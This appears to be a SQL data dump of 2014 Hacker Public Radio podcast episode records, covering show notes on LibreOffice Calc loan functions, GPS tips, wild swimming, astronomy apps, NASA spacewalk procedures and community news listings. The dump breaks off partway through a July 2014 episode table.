(1585,'2014-08-29','36 - LibreOffice Calc - Financial Functions - Loan Payments',1346,'Financial Functions in LibreOffice Calc','<p>In this episode we discuss the function for determining the loan payments on a car loan, compare a manual calculation with the use of the PMT function, and derive some useful lessons.</p>\r\n <p>Links:</p>\r\n <ul>\r\n  <li><a href=\"https://www.wikihow.com/Calculate-a-Loan-Payment\">https://www.wikihow.com/Calculate-a-Loan-Payment</a></li>\r\n  <li><a href=\"https://www.ahuka.com/?attachment_id=830\">https://www.ahuka.com/?attachment_id=830</a></li>\r\n  <li><a href=\"https://www.ahuka.com/?page_id=821\">https://www.ahuka.com/?page_id=821</a></li>\r\n </ul>',198,70,0,'CC-BY-SA','spreadsheet,financial function',0,0,1),
(1595,'2014-09-12','37 - LibreOffice Calc - More Financial Functions',1038,'A look at financial functions and constructing a mortgage repayment schedule','<p>We take a look at a number of related financial functions in this episode, and discover that they are strongly related by using the same variables over and over. We construct a Mortgage Repayment Schedule, and look again at the principles of good spreadsheet construction.</p>\n <ul>\n  <li><a href=\"https://finance.yahoo.com/\">https://finance.yahoo.com/</a></li>\n  <li><a href=\"https://www.ahuka.com/?attachment_id=841\">https://www.ahuka.com/?attachment_id=841</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=833\">https://www.ahuka.com/?page_id=833</a></li>\n </ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, functions, finance, mortgage',0,0,1),
(1527,'2014-06-10','Surviving A Roadtrip: GPS',1110,'A few GPS tricks that can help survive a roadtrip.','<p>\r\nI have spent many, many hours in a vehicle driving around. While travelling,\r\nI\'ve found a GPS to be one indispensable tool. These are some of the\r\nGPS-related tips that I have discovered:\r\n</p>\r\n\r\n<ul>\r\n<li>Having a \"navigator\" - someone else to help operate the GPS - can be very\r\n        helpful in stressful driving situations. If you have someone that can help,\r\n        let them handle GPS programming.\r\n</li>\r\n<li>Know how to operate your GPS. Planning routes are just the beginning; know how\r\n        to get your GPS to find food and lodging nearby, and how to change a route to\r\n        avoid trouble (road closures, traffic jams, detours).\r\n</li>\r\n<li>Update your maps! Old map data can drive you into construction zones or route\r\n        you into congested areas that new map data would have let you avoid.\r\n</li>\r\n<li>Be aware of tolls! The Northeast loves road tolls, and they can quickly add\r\n        up. My GPS has the option to route around toll roads; so you can use that, or\r\n        make sure you are prepared for that expense.\r\n</li>\r\n<li>You can also use your GPS as a normal map, except it\'s a map automatically\r\n        centered on your exact position. In certain situations, this can be more\r\n        useful than having your GPS provide you with directions.\r\n</li>\r\n<li>My GPS tells me the local speed limit, in addition to how fast I\'m going. This\r\n        is an excellent way to avoid getting a ticket.\r\n</li>\r\n<li>Mount your GPS somewhere. Looking down into your lap is a good way to find\r\n        yourself in a gutter.\r\n</li>\r\n<li>GPS are not 100% accurate! Don\'t believe their lies! If the directions they\r\n        are giving you sound bogus, use your better judgement.\r\n</li>\r\n<li>BONUS: Cameras! If you want to take pictures while on the road, try leaving\r\n        your camera set to the \"Landscape\" macro if you have that option. It will\r\n        prevent focus issues when taking quick shots. Also, keep your camera\r\n        easily accessible to avoid extra distraction. If you have a navigator, they\r\n        might be the best photographers.\r\n</li>\r\n</ul>',196,0,0,'CC-BY-SA','gps',0,1323,1),
(1528,'2014-06-11','Wildswimming in France',2891,'Take a break from the hacking, get on your bike and go wildswimming in a local river.','<p>In this episode I take a swim along a section of the Charente river near\r\n Chatain in the Poitou-Charente region of France. I start upstream at the\r\n bridge and go down as far as the weir, then back. On the way I describe some\r\n of the things I am seeing, I pass some cows and a couple of French fishermen.</p>\r\n <p>Apologies for the audio quality and panting, this was recorded by an old\r\n MP3 player cable-tied to a woolly hat.</p>\r\n <p><img alt=\"A recliner bike and a wet suit parked by a bridge over a river\" src=\"https://hackerpublicradio.org/eps/hpr1528.jpg\" /></p>\r\n <ul>\r\n  <li>Open Street Map - <a href=\"https://osm.org/go/0AFg6YkO\">https://osm.org/go/0AFg6YkO</a></li>\r\n  <li>Google Maps (Streetview available) - <a href=\"https://goo.gl/maps/8XPBr\">https://goo.gl/maps/8XPBr</a></li>\r\n  <li>Wild Swimming Wikipedia Article - <a href=\"https://en.wikipedia.org/wiki/Open_water_swimming\">https://en.wikipedia.org/wiki/Open_water_swimming</a></li>\r\n  <li>Roger Deakin Wikipedia Article - <a href=\"https://en.wikipedia.org/wiki/Roger_Deakin\">https://en.wikipedia.org/wiki/Roger_Deakin</a></li>\r\n </ul>\r\n <p>Mark Waters <a href=\"https://about.me/markwaters\">https://about.me/markwaters</a></p>\r\n',279,101,1,'CC-BY-SA','wildswimming, swimming, france, health, exercise, nature',0,1260,1),
(1531,'2014-06-16','How I use Linux  ',943,'jezra talks about using Linux','<p>\r\nHere is a list of OSs, software, and hardware that was mention. If I missed\r\nanything, please let me know.\r\n</p>\r\n\r\n<ul>\r\n<li>Software \r\n <ul>\r\n <li>Geany: <a href=\"https://www.geany.org/\">https://www.geany.org/</a> \r\n </li>\r\n <li>nano: <a href=\"https://www.nano-editor.org/\">https://www.nano-editor.org/</a>\r\n </li>\r\n <li>virtual box: <a href=\"https://www.virtualbox.org/\">https://www.virtualbox.org/</a>\r\n </li>\r\n <li>glmr: <a href=\"https://gitorious.org/glmr\">https://gitorious.org/glmr</a>\r\n </li>\r\n <li>Ruby Web Alarm: <a href=\"https://gitorious.org/ruby-web-alarm\">https://gitorious.org/ruby-web-alarm</a>\r\n </li>\r\n <li>blather: <a href=\"https://gitorious.org/blather\">https://gitorious.org/blather</a>\r\n </li>\r\n <li>MuttonChop: <a href=\"https://launchpad.net/muttonchop\">https://launchpad.net/muttonchop</a>\r\n <p></p>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Operating Systems\r\n <ul>\r\n <li>Arch: <a href=\"https://archlinux.org/\">https://archlinux.org/</a>\r\n </li>\r\n <li>Debian: <a href=\"https://debian.org\">https://debian.org</a>\r\n <p></p>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Hardware\r\n <ul>\r\n <li>Raspberry Pi: <a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a>\r\n </li>\r\n <li>Beaglebone: <a href=\"https://beagleboard.org/\">https://beagleboard.org/</a>\r\n </li>\r\n <li>n900: <a href=\"https://en.wikipedia.org/wiki/N900\">https://en.wikipedia.org/wiki/N900</a>\r\n </li>\r\n </ul>\r\n</li>\r\n</ul>',243,0,1,'CC-BY-SA','Geany,nano,virtualbox,glmr,Ruby Web Alarm,blather,MuttonChop,Raspberry Pi,Beaglebone,Nokia N900',0,1596,1),
(1532,'2014-06-17','Project Idea - White-Hat Spam Bot',959,'Knightwise and Keith discuss their fledgling open-source project to manage social media promotion.','<p>If you run a blog or a podcast, promoting your material can take as much time (or more) than content creation itself. Just like a small business marketing and promoting your efforts take time, effort and energy that can take you away from what you\'d rather be doing: making great stuff.</p>\n <p>This podcast discusses the germ of an idea, and its fledgling implementation, for creating an open-source tool for managing the distribution of posts to social media and doing it in as non-spammy a way as possible.</p>\n <p>The premise is simple: take information from a number of disparate sources, and promote it to a number of disparate destinations. The challenge is doing it without violating the social norms of the destination networks, and without crossing the line between promotion and spaminess.</p>\n',266,0,0,'CC-BY-SA','social media,schedule,distribution',0,1322,1),
(1533,'2014-06-18','Beginner\'s guide to the night sky 2',1499,'A review of some astronomy software, as used on the planet Earth, by a geeky chap.','<p>\r\nThis is a review of some astronomy software, as used\r\non the Earth in the early 21st Century, by a somewhat\r\ngeeky chap. In this episode, I talk a little about two astronomy apps\r\navailable for Android and another two available for GNU/Linux (and other)\r\ndesktops.\r\n</p>\r\n<p>\r\nErratum: I referred to Star Map but I meant Star Chart. Doh!\r\n</p>\r\n<p>\r\nIn reverse order of how much I use and like them (most used/liked last):\r\n</p>\r\n<p>\r\n<a href=\"https://www.stellarium.org\">https://www.stellarium.org</a> - Available for all major operating systems.\r\nThis link shows you how to add your own comets: <a href=\"https://www.wikihow.com/Add-Comet-ISON-to-Stellarium\">https://www.wikihow.com/Add-Comet-ISON-to-Stellarium</a>\r\n</p>\r\n<p>\r\n<a href=\"https://edu.kde.org/kstars/\">https://edu.kde.org/kstars/</a> - KStars is part of the KDE SC Software Compilation) and so will be easy to install if you\'re a KDE user, or if you\'re not, \"easy\" after a few dependencies are installed.\r\n</p>\r\n<p>\r\nGoogle Sky Map can be installed on your mobile device using either f-droid or Google Play: <a href=\"https://f-droid.org/repository/browse/?fdfilter=sky&amp;fdid=com.google.android.stardroid\">https://f-droid.org/repository/browse/?fdfilter=sky&amp;fdid=com.google.android.stardroid</a>\r\n<a href=\"https://play.google.com/store/apps/details?id=com.google.android.stardroid\">https://play.google.com/store/apps/details?id=com.google.android.stardroid</a>\r\n</p>\r\n<p>\r\nIf you like eye-candy, then Star Chart may be for you, get it on Google Play here:\r\n<a href=\"https://play.google.com/store/apps/details?id=com.escapistgames.starchart\">https://play.google.com/store/apps/details?id=com.escapistgames.starchart</a>\r\n</p>',268,0,0,'CC-BY-SA','astronomy,Stellarium,KStars,Google Sky Map,Star Chart',0,1318,1),
(1556,'2014-07-21','Screenplay Writing On Linux and Chromebooks',789,'ThistleWeb explores a couple of screenplay writing solutions for Linux and Chromebooks','<p>Writing screenplays for TV or movies is a very precise thing. The industry expects a standardised style and format. ThistleWeb explores a couple of dedicated screenplay writing solutions. Both are dedicated applications that do one job and do it very well. The first is Trelby. It\'s a GPL cross platform application. It has lots of additional features such as auto completion of character names, summaries and stats.</p>\n <p>The second application is a cloud service called Raw Scripts. It\'s a Chrome extension although I think that\'s just a link to the site. You log in with a Google or Yahoo account. It\'s like a dedicated Google Docs web app. It does most of the things Trelby does. It also exports to Google if you want. You can share and collaborate with Raw Scripts. It\'s hosted on their server, although it\'s AGPL going forward, so it shouldn\'t be long before you can host it on your own server.</p>\n <p>I\'ve just started to explore screenplay writing as a writing skillset. Both of these applications make the styling and formating incredibly easy, allowing me to concentrate on the actual story.</p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://trelby.org\">https://trelby.org</a></li>\n  <li><a href=\"https://rawscripts.com\">https://rawscripts.com</a></li>\n </ul>',106,0,0,'CC-BY-SA','screenplay,writing,Trelby,Raw Scripts',0,1159,1),
(1576,'2014-08-18','How I got into Linux',1674,'This is my story about how I got into computers, computing and GNU/Linux.','<p>\r\nShort Summary: This is my story about how I got into computers, computing and GNU/Linux.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li>Personal identity number in Sweden <a href=\"https://en.wikipedia.org/wiki/Personal_identity_number_%28Sweden%29\">https://en.wikipedia.org/wiki/Personal_identity_number_%28Sweden%29</a>\r\n</li>\r\n<li>Apple II: <a href=\"https://en.wikipedia.org/wiki/Apple_2\">https://en.wikipedia.org/wiki/Apple_2</a>\r\n</li>\r\n<li>ABC80: <a href=\"https://en.wikipedia.org/wiki/ABC_80\">https://en.wikipedia.org/wiki/ABC_80</a>\r\n</li>\r\n<li>Tipp-Ex: <a href=\"https://en.wikipedia.org/wiki/Tippex\">https://en.wikipedia.org/wiki/Tippex</a>\r\n</li>\r\n<li>IBM Portable PC: <a href=\"https://en.wikipedia.org/wiki/IBM_Portable\">https://en.wikipedia.org/wiki/IBM_Portable</a>\r\n</li>\r\n<li>MacIntosh Plus: <a href=\"https://en.wikipedia.org/wiki/Macintosh_Plus\">https://en.wikipedia.org/wiki/Macintosh_Plus</a>\r\n</li>\r\n<li>Imagewriter II: <a href=\"https://en.wikipedia.org/wiki/ImageWriter_II\">https://en.wikipedia.org/wiki/ImageWriter_II</a>\r\n</li>\r\n<li>Hypercard: <a href=\"https://en.wikipedia.org/wiki/Hypercard\">https://en.wikipedia.org/wiki/Hypercard</a>\r\n</li>\r\n<li>Netscape Navigator: <a href=\"https://en.wikipedia.org/wiki/Netscape_Navigator\">https://en.wikipedia.org/wiki/Netscape_Navigator</a>\r\n</li>\r\n<li>Debian Social Contract: <a href=\"https://www.debian.org/social_contract\">https://www.debian.org/social_contract</a>\r\n</li>\r\n</ul>',283,29,0,'CC-BY-SA','Linux, FLOSS, Mac',0,0,1),
(1534,'2014-06-19','My Introduction to HPR',269,'semioticrobotic talks about himself and his involvement with opensource.com','<p>\r\nIn this episode, I introduce myself to the Hacker Public Radio community and discuss a website to which I contribute: opensource.com.                                                                \r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.opensource.com\">https://www.opensource.com</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/users/bbehrens\">https://opensource.com/users/bbehrens</a>\r\n</li>\r\n<li><a href=\"https://www.semioticrobotic.net\">https://www.semioticrobotic.net</a>\r\n<p></p>\r\n</li>\r\n</ul>',280,0,0,'CC-BY-SA','introduction',0,1326,1),
(1597,'2014-09-16','Extravehicular Activity',850,'NASA guidelines for EVA from spacecraft are detailed and painstaking, not so films.','<h2>EVA - The Rules for Extravehicular Activity</h2>\n <p>Here I dip into the NASA experience of and rules for Extravehicular Activity, prompted at first by watching a film called <em>The Europa Report</em>, directed by Sebastian Cordero (2013).</p>\n <p><strong>WARNING - THIS PODCAST CONTAINS SPOILERS</strong></p>\n <p>While I have some gripes about the film, I was impressed by its general failfulness to the science</p>\n <ul>\n  <li>It thought to find life on Europa, a moon of Jupiter considered by real exobiologists and planetary scientists to be a good candidate</li>\n  <li>Neil deGrasse Tyson made a cameo appearance</li>\n  <li>The portrayal of Europa\'s geography and character</li>\n  <li>Having to drill through the ice to get at the sea below</li>\n  <li>The behaviour of the crew as scientists and engineers</li>\n </ul>\n <p>Science consultant on the film was Kevin Hand, an astrobiologist and expert on Europa at NASA\'s Jet Propulsion Laboratory</p>\n <p>To my mind, the scientists were behaving like scientists and the engineers behaved like engineers. To follow along it might help to recall their names</p>\n <ul>\n  <li>Captain - Willam Xu</li>\n  <li>Pilot - Rosa Dasque</li>\n  <li>Chief scientist - Daniel Luxembourg</li>\n  <li>Marine biologist - Katya Petrovna</li>\n  <li>Junior engineer - James Corrigan</li>\n  <li>Chief engineer - Andrei Blok</li>\n </ul>\n <p>All was going scientifically until the director drove the plot forward with two EVA incidents</p>\n <h3>EVA-1 : <small>Flash back episode, engineers James and Andre go out to fix a failed communications circuit</small></h3>\n <ul>\n  <li>Andre rips his suit</li>\n  <li>James gets squirted with rocket fuel</li>\n  <li>Only one astronaut survives</li>\n </ul>\n <p>I have problems with this because it\'s just too clumsy for trained professional astronauts. Where are the decontamination procedures, the tethers, the special tools?</p>\n <h3>EVA-2 : <small>Down on the surface, Marine biologist Katya decides to walk out alone</small></h3>\n <ul>\n  <li>Tourtured debate in the ship</li>\n  <li>Of four able and expendable crew members, none go with her</li>\n  <li>Katya does not come back alive</li>\n </ul>\n <p>With this I am shouting at the screen \"<strong>No Way! Where\'s the fracking operating manual? No one goes EVA on their own</strong>\"</p>\n <p>So, that is why I researched the NASA rules for Extravehicular Activity. And I found that none of these events would have happened the way they were shown, had the crew, who were so professional in every other way, followed the NASA procedures.</p>\n <h3>The two astronauts issue</h3>\n <ul>\n  <li>The most recent occasion where an astronaut went solo EVA was in 1971, when David Scott stuck his head out of the airlock of Apollo 15.</li>\n  <li>Most recent before that was in 1966, when Buzz Aldrin went EVA from Gemini 12 (Gemini craft only had two crew).</li>\n  <li>Since 1971, there have been 358 space walks and every single one has had two crew.</li>\n  <li>I found no written regulation, but de-facto, nobody leaves the spacecraft alone.</li>\n </ul>\n <h3>NASA procedures</h3>\n <p>NASA documents on the internet discuss in exhaustive detail all considerations for EVA. What I present is a cherry-picked handful. I could not cover all of it</p>\n <ul>\n  <li>reasons for EVA</li>\n  <li>alternatives</li>\n  <li>planning</li>\n  <li>hazard mitigation</li>\n  <li>procedures for safe conduct</li>\n  <li>fall-back procedures</li>\n  <li>failure handling</li>\n  <li>accident control</li>\n </ul>\n <h3>International Space Station (ISS) EVA Procedures Checklists</h3>\n <ul>\n  <li>Presuming that all the equipment maintenance checks, and readiness checks have alread been done <ul>\n    <li>30 minutes of Airlock preparation and testing</li>\n    <li>30 minutes of changing components for the suit to fit the astronaut</li>\n    <li>170 minutes of EVA-Prep</li>\n   </ul>\n  </li>\n  <li>Then you are ready to depressurise and leave the airlock</li>\n  <li>EVA might last 2 - 8 hours</li>\n  <li>Post EVA <ul>\n    <li>30 minute procedure to take the suit off</li>\n    <li>10 minute procedure to disconnect internal equipment</li>\n    <li>Recharge &amp; maintain the Extravehicular Mobility Unit (EMU)</li>\n    <li>Clean &amp; maintain the Suit</li>\n   </ul>\n  </li>\n </ul>\n <p>Although this podcast is about EVA, it does reference the science in a film that I enjoyed and respect very much, so here is a gem that I only came across while researching the landing site. In the scientific journal Nature, Volume 479, 16 November 2011, Britney Schmidt et al, of University of Texas, Austin, published a paper titled \"Active formation of \'chaos terrain\' over shallow subsurface water on Europa.\" In the paper these authors suggest that in the Conemara zone of the Chaos Terrain, an area on the surface of Europa, the ice may be as little as 3 km thick. Then in the film the Conemara Chaos was the targetted landing zone and the drill broke through the ice at a depth of 2800m.</p>\n <p>Well there is one more thing that the podcast says, but it is the ultimate spoiler. So if you have not already listened to the podcast, I highly recommend that you watch the film first.</p>\n <hr />\n <h2>Links</h2>\n <ul>\n  <li>Early Spacewalks: <a href=\"https://en.wikipedia.org/wiki/List_of_spacewalks_and_moonwalks_1965-1999\" target=\"_blank\">https://en.wikipedia.org/wiki/List_of_spacewalks_and_moonwalks_1965-1999</a></li>\n  <li>Late Spacewalks: <a href=\"https://en.wikipedia.org/wiki/List_of_spacewalks_since_2000\" target=\"_blank\">https://en.wikipedia.org/wiki/List_of_spacewalks_since_2000</a></li>\n  <li>NASA Manual on Systems Integration Standards: <a href=\"https://msis.jsc.nasa.gov/sections/section14.htm\" target=\"_blank\">https://msis.jsc.nasa.gov/sections/section14.htm</a></li>\n  <li>NASA payload Safety Conference, Feb 2000: <a href=\"https://paso.esa.int/5_training_materials/training_22_materials.pdf\" target=\"_blank\">https://paso.esa.int/5_training_materials/training_22_materials.pdf</a></li>\n  <li>EVA-22 Cassidy and Parmitano complete ISS spacewalk: <a href=\"https://www.nasaspaceflight.com/2013/07/eva-22-cassidy-parmitano-iss-spacewalk-eva-22/\" target=\"_blank\">https://www.nasaspaceflight.com/2013/07/eva-22-cassidy-parmitano-iss-spacewalk-eva-22/</a></li>\n  <li>EVA-23 terminated due to Parmitano EMU issue: <a href=\"https://www.nasaspaceflight.com/2013/07/astronaut-duo-us-spacewalk-outside-iss/\" target=\"_blank\">https://www.nasaspaceflight.com/2013/07/astronaut-duo-us-spacewalk-outside-iss/</a></li>\n  <li>Extravehicular Activity Operations Overview: <a href=\"https://www.colorado.edu/ASEN/asen3036/EVAOverview.pdf\" target=\"_blank\">https://www.colorado.edu/ASEN/asen3036/EVAOverview.pdf</a></li>\n </ul>',284,0,0,'CC-BY-SA','extravehicular, space, spacewalk, spaceship, nasa, movie, film, science fiction, science',0,0,1),
(1539,'2014-06-26','An Open Source News Break from Opensource.com',277,'An Open Source News Break from Opensource.com','<p>\r\nIn this episode: an ethical cryptocurrency, open source resources for learning Old English, and an interview with the Director of New Media Technologies at the Executive Office of the President in the United States.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opensource.com/life/14/5/cryptocurrency-supports-open-source-development\">https://opensource.com/life/14/5/cryptocurrency-supports-open-source-development</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/education/14/5/old-english-open-education-resources\">https://opensource.com/education/14/5/old-english-open-education-resources</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/government/14/5/interview-leigh-heyman-executive-office-president\">https://opensource.com/government/14/5/interview-leigh-heyman-executive-office-president</a>\r\n</li>\r\n</ul>',280,28,0,'CC-BY-SA','newscast,Opensource.com',0,1364,1),
(1536,'2014-06-23','The 150-in-1 Electronic Project Kit',716,'CPrompt talks about the Science Fair 150-in-1 Electronic Project Kit.','<p>In this episode CPrompt travels down a little memory lane and talks about a childhood favorite, the Science Fair 150-in-1 Electronic Project Kit.</p><p>Links:</p><ul><li>Some pics of past Electronic Kits from Science Fair <ul><li><a href=\"https://www.samstoybox.com/toys/ElectronicProjectKits.html\">https://www.samstoybox.com/toys/ElectronicProjectKits.html</a></li></ul></li><li>Scan of a catalog advertising the 150-in-1 Electronic Project Kit <ul><li><a href=\"https://news.google.com/newspapers?nid=1356&dat=19820521&id=nNZXAAAAIBAJ&sjid=7AUEAAAAIBAJ&pg=1935,3638069\">https://news.google.com/newspapers?nid=1356&dat=19820521&id=nNZXAAAAIBAJ&sjid=7AUEAAAAIBAJ&pg=1935,3638069</a></li></ul></li><li>Large Collection of RadioShack Catalogs <ul><li><a href=\"https://www.radioshackcatalogs.com/\">https://www.radioshackcatalogs.com/</a></li></ul></li><li>TV commercial for the 150-in-1 Electronic Kit <ul><li><a href=\"https://www.radioshackcatalogs.com/videos/1981_150-in-1_electronic_kit/\">https://www.radioshackcatalogs.com/videos/1981_150-in-1_electronic_kit/</a></li></ul></li><li>The DuinoKit <ul><li><a href=\"https://www.kickstarter-conversations.com/2013/06/old-school-radio-shack-for-new-school.html\">https://www.kickstarter-conversations.com/2013/06/old-school-radio-shack-for-new-school.html</a></li><li><a href=\"https://duinokit.com\">https://duinokit.com</a></li><li><a href=\"https://www.elenco.com/search/searchdetails/130-in-1_electronics_playground=MjA0\">https://www.elenco.com/search/searchdetails/130-in-1_electronics_playground=MjA0</a></li></ul></li></ul>\r\n',252,0,0,'CC-BY-SA','Science Fair,Radio Shack,electronic project kit,150-in-1,DuinoKit',0,1347,1),
(1558,'2014-07-23','Lunch Breaks',1505,'Break out of your brown bag or greasy box and explore the world around your workplace!','<p>Back after a year of HPR silence, I\'ll talk a little about how I like to spend my lunch breaks and how you can explore your workplace. Put down those tater tots, we\'re going on an adventure!</p>\n <p>In this episode I\'ll give some information about my lunch history, ways you can maximise your time, gear you\'ll need to start short stealth/urban exploration, techniques for finding places to explore, and ways to handle being spotted.</p>\n <p>If this goes well enough and the audio isn\'t too garbled, I\'ll record episodes for the \"How I Got Into (GNU) Linux\" series.</p>\n <p>Here are a few links related to the episode. Note that I link to Amazon and Google. I don\'t necessarily condone or endorse either service, I just didn\'t know of any better sources for product information.</p>\n <ul>\n  <li>My GNU Social account: <a>cmhobbs@status.libernil.net</a> (<a href=\"https://status.libernil.net\">https://status.libernil.net</a>)</li>\n  <li>My XMPP Address: <a>cmhobbs@jabber.libernil.net</a></li>\n </ul>\n <h2>Links</h2>\n <ul>\n  <li>OpenStreetMap for finding locations: <a href=\"https://www.openstreetmap.org\">https://www.openstreetmap.org</a></li>\n  <li>Google Maps if you\'re not concerned with Freedom: <a href=\"https://maps.google.com\">https://maps.google.com</a></li>\n  <li>Outdoor Products Daypack: <a href=\"https://outdoorproducts.com/packable-day-pack/\">https://outdoorproducts.com/packable-day-pack/</a></li>\n  <li>ChicoBag collapsible grocery bag: <a href=\"https://www.chicobag.com/category/original\">https://www.chicobag.com/category/original</a></li>\n  <li>Grand Trunk Ultralight Hammock: <a href=\"https://store.grandtrunkgoods.com/ultralight-travel-hammock1\">https://store.grandtrunkgoods.com/ultralight-travel-hammock1</a></li>\n </ul>\n <h3>Sample sit pads:</h3>\n <ul>\n  <li>GossamerGear SitLight: <a href=\"https://gossamergear.com/sleeping/sitlight-sit-pad-group.html\">https://gossamergear.com/sleeping/sitlight-sit-pad-group.html</a></li>\n  <li>Knee rest: <a href=\"https://amzn.to/1nt2hNX\">https://amzn.to/1nt2hNX</a></li>\n  <li>Stadium Cushion: <a href=\"https://amzn.to/1yyZGJU\">https://amzn.to/1yyZGJU</a></li>\n  <li>Foam Pad (can be cut): <a href=\"https://amzn.to/1nt2hNX\">https://amzn.to/1nt2hNX</a></li>\n </ul>',241,0,1,'CC-BY-SA','urban exploration, lunch, leisure, stealth',0,1206,1),
(1537,'2014-06-24','How I make Coffee',411,'x1101 explains how he makes coffee','<p>\r\nx1101 explains how he makes coffee\r\n</p>\r\n\r\n<ul>\r\n<li>Grinder: <a href=\"https://x1101.net/images/HPR/Grinder.jpg\">https://x1101.net/images/HPR/Grinder.jpg</a>\r\n</li>\r\n<li>Pot: <a href=\"https://x1101.net/images/HPR/Pot.jpg\">https://x1101.net/images/HPR/Pot.jpg</a>\r\n</li>\r\n<li>Beans: <a href=\"https://x1101.net/images/HPR/Beans.jpg\">https://x1101.net/images/HPR/Beans.jpg</a>\r\n</li>\r\n</ul>\r\n',276,88,0,'CC-BY-SA','coffee,coffee grinder,coffee beans,percolator',0,1322,1),
(1546,'2014-07-07','HPR Community News for June 2014',5739,'Ahuka, Dave and Ken, review the happenings for the month.','<h2>New hosts</h2>\n <p>Welcome to our new hosts:<br /><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=279\">Mark Waters</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a>.</p>\n <h2>Last Month\'s Shows</h2>\n <table>\n  <thead>\n   <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td>1521</td>\n    <td>Cardboard Greeting Cards</td>\n    <td>Shane Shennan</td>\n   </tr>\n   <tr>\n    <td>1522</td>\n    <td>How to Use Docker and Linux Containers</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>1523</td>\n    <td>HPR Community News for May 2014</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>1524</td>\n    <td>WASHLUG 20150515 GPG and E-mail</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1525</td>\n    <td>30 - LibreOffice Calc - A Savings Model</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1526</td>\n    <td>Penguicon 2014</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1527</td>\n    <td>Surviving A Roadtrip: GPS</td>\n    <td>Windigo</td>\n   </tr>\n   <tr>\n    <td>1528</td>\n    <td>Wildswimming in France</td>\n    <td>Mark Waters</td>\n   </tr>\n   <tr>\n    <td>1529</td>\n    <td>TrueCrypt, Heartbleed, and Lessons Learned</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1530</td>\n    <td>The Ext2 File System</td>\n    <td>JWP</td>\n   </tr>\n   <tr>\n    <td>1531</td>\n    <td>How I use Linux</td>\n    <td>Jezra</td>\n   </tr>\n   <tr>\n    <td>1532</td>\n    <td>Project Idea - White-Hat Spam Bot</td>\n    <td>Keith Murray</td>\n   </tr>\n   <tr>\n    <td>1533</td>\n    <td>Beginner\'s guide to the night sky 2</td>\n    <td>Andrew Conway</td>\n   </tr>\n   <tr>\n    <td>1534</td>\n    <td>My Introduction to HPR</td>\n    <td>semioticrobotic</td>\n   </tr>\n   <tr>\n    <td>1535</td>\n    <td>31 - LibreOffice Calc - Sheet Editing and Navigation</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1536</td>\n    <td>The 150-in-1 Electronic Project Kit</td>\n    <td>Curtis Adkins (CPrompt^)</td>\n   </tr>\n   <tr>\n    <td>1537</td>\n    <td>How I make Coffee</td>\n    <td>x1101</td>\n   </tr>\n   <tr>\n    <td>1538</td>\n    <td>Overhauling the School of Music website</td>\n    <td>Jon Kulp</td>\n   </tr>\n   <tr>\n    <td>1539</td>\n    <td>An Open Source News Break from Opensource.com</td>\n    <td>semioticrobotic</td>\n   </tr>\n   <tr>\n    <td>1540</td>\n    <td>The journeling File System</td>\n    <td>JWP</td>\n   </tr>\n   <tr>\n    <td>1541</td>\n    <td>How I Came To Linux</td>\n    <td>Claudio Miranda</td>\n   </tr>\n  </tbody>\n </table>\n <h2>Mailing List discussions</h2>\n <p>Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\">Mail List</a> which is open to all HPR listeners and contributors. The discussions are open and available on the <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">Gmane</a> archive.</p>',159,47,1,'CC-BY-SA','Community News',0,1324,1),
(1566,'2014-08-04','HPR Community News for July 2014',2350,'Dave reviews the happenings for the month, with a brief visit from pegwole.','<h2>New hosts</h2>\n <p>Welcome to our new hosts:<br /><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=281\">Scyner</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>.</p>\n <h2>Last Month\'s Shows</h2>\n <table>\n  <thead>\n   <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1542</strong></td>\n    <td align=\"left\">2014-07-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1542\">Agnes is an IT Lawyer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=192\">Seetee</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1543</strong></td>\n    <td align=\"left\">2014-07-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1543\">What\'s in my bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\n   </tr>\n   <tr valign=\"top\">\n    <td align=\"left\"><strong>1544</strong></td>\n    <td align=\"left\">2014-07-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1544\">An Open Source News Break from Opensource.com</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\n   </tr>\n   <tr 